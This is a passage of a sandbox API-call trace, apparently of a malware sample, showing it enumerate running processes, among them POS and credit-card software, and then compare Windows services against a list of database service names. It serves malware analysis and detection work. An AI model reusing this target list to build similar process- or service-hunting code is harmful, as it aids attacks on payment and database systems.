	[0091.701] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0091.702] lstrlenW (lpString="skype.exe") returned 9
	[0091.702] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0091.703] lstrlenW (lpString="smartftp.exe") returned 12
	[0091.703] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0091.704] lstrlenW (lpString="thunderbird.exe") returned 15
	[0091.704] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0091.705] lstrlenW (lpString="totalcmd.exe") returned 12
	[0091.705] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0091.706] lstrlenW (lpString="trillian.exe") returned 12
	[0091.706] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0091.706] lstrlenW (lpString="webdrive.exe") returned 12
	[0091.707] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0091.707] lstrlenW (lpString="whatsapp.exe") returned 12
	[0091.707] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0091.708] lstrlenW (lpString="winscp.exe") returned 10
	[0091.708] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0091.709] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0091.709] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0091.710] lstrlenW (lpString="active-charge.exe") returned 17
	[0091.710] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0091.711] lstrlenW (lpString="accupos.exe") returned 11
	[0091.711] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0091.712] lstrlenW (lpString="afr38.exe") returned 9
	[0091.712] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0091.713] lstrlenW (lpString="aldelo.exe") returned 10
	[0091.713] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0091.713] lstrlenW (lpString="ccv_server.exe") returned 14
	[0091.714] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0091.714] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0091.714] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0091.715] lstrlenW (lpString="creditservice.exe") returned 17
	[0091.715] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0091.716] lstrlenW (lpString="edcsvr.exe") returned 10
	[0091.716] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0091.717] lstrlenW (lpString="fpos.exe") returned 8
	[0091.717] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0091.717] lstrlenW (lpString="isspos.exe") returned 10
	[0091.717] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0091.718] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0091.718] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0091.719] lstrlenW (lpString="omnipos.exe") returned 11
	[0091.719] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0091.720] lstrlenW (lpString="spcwin.exe") returned 10
	[0091.720] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0091.721] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0091.721] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0091.721] lstrlenW (lpString="utg2.exe") returned 8
	[0091.721] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0091.722] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0091.722] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0091.723] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0091.723] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0091.724] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0091.724] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0091.724] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0091.724] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0091.960] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0091.960] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0091.961] lstrlenW (lpString="taskhostw.exe") returned 13
	[0091.961] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0091.962] lstrlenW (lpString="taskhostw.exe") returned 13
	[0091.962] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0091.963] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0091.963] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0091.963] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0091.963] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0091.964] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0091.964] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0091.965] lstrlenW (lpString="UsoClient.exe") returned 13
	[0091.965] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0091.965] lstrlenW (lpString="conhost.exe") returned 11
	[0091.965] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0091.966] lstrlenW (lpString="conhost.exe") returned 11
	[0091.966] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.967] lstrlenW (lpString="svchost.exe") returned 11
	[0091.967] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0091.967] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0091.967] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0091.968] lstrlenW (lpString="svchost.exe") returned 11
	[0091.968] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0091.969] lstrlenW (lpString="cmd.exe") returned 7
	[0091.969] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0091.969] lstrlenW (lpString="conhost.exe") returned 11
	[0091.969] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0091.970] lstrlenW (lpString="dllhost.exe") returned 11
	[0091.970] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0091.971] lstrlenW (lpString="mode.com") returned 8
	[0091.971] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0091.971] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0091.971] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0091.972] lstrlenW (lpString="LogonUI.exe") returned 11
	[0091.972] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0091.972] CloseHandle (hObject=0x300) returned 1
	[0091.972] Sleep (dwMilliseconds=0x1f4) 
	[0092.627] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53edb0
	[0092.627] EnumServicesStatusExW (in: hSCManager=0x53edb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0092.628] GetLastError () returned 0xea
	[0092.628] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ddc) returned 0x3196708
	[0092.628] EnumServicesStatusExW (in: hSCManager=0x53edb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3196708, cbBufSize=0x1ddc, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3196708, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0092.629] CloseServiceHandle (hSCObject=0x53edb0) returned 1
	[0092.629] lstrlenW (lpString="Appinfo") returned 7
	[0092.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0092.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0092.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0092.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0092.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0092.629] lstrlenW (lpString="AppXSvc") returned 7
	[0092.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0092.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0092.629] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0092.629] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0092.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0092.629] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0092.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0092.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0092.629] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0092.629] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0092.630] lstrlenW (lpString="Audiosrv") returned 8
	[0092.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0092.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0092.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0092.630] lstrlenW (lpString="BFE") returned 3
	[0092.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0092.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0092.630] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0092.630] lstrlenW (lpString="BITS") returned 4
	[0092.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0092.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0092.630] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0092.630] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0092.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0092.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0092.630] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0092.630] lstrlenW (lpString="CDPSvc") returned 6
	[0092.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0092.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0092.630] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0092.630] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0092.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0092.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0092.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0092.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0092.631] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0092.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0092.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0092.631] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0092.631] lstrlenW (lpString="CryptSvc") returned 8
	[0092.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0092.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0092.631] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0092.631] lstrlenW (lpString="DcomLaunch") returned 10
	[0092.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0092.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0092.631] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0092.631] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0092.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0092.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0092.631] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0092.631] lstrlenW (lpString="Dhcp") returned 4
	[0092.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0092.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0092.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0092.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0092.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0092.632] lstrlenW (lpString="Dnscache") returned 8
	[0092.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0092.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0092.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0092.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0092.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0092.632] lstrlenW (lpString="DoSvc") returned 5
